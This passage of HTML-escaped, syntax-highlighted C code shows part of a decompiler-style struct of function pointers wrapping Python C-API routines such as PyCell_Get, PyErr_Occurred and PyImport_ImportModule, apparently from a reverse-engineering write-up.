  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p_stderr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyNumber_operator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;operatortype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;build_collection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;colltype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call_python_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bDontCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pyCallable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bArgsRequired&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bKwArgsRequired&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argsTuple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kwargsDict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set_exception_if_none_was_raised&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comparison&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unused&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;operatortype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qword48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fetch_exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string_format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;globals_operation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unused&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GLOBAL_OPS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;modeOrValueForSet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;op_mkfunc_not_available&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iter_next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qword78&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qword80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;update_exception_info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qword90&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unpack_values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unused&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;maxCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qwordA0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;qwordB0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;import_stuff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gapC0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Py_NoneStruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Py_TrueStruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Py_FalseStruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gapF8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyBytes_AsStringAndSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyCell_Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyCell_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyCell_Set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyErr_Clear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)();&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyErr_Occurred&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)();&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyErr_SetObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyEval_GetGlobals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)();&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyImport_ImportModule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyImport_ImportModuleLevel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;globals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;locals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fromlist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyList_Append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyList_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_CallFunction_SizeT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;callable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_CallFunctionObjArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;callable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_CallMethod_SizeT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_DelItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_GetAttr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;attr_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PyObject_GetItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
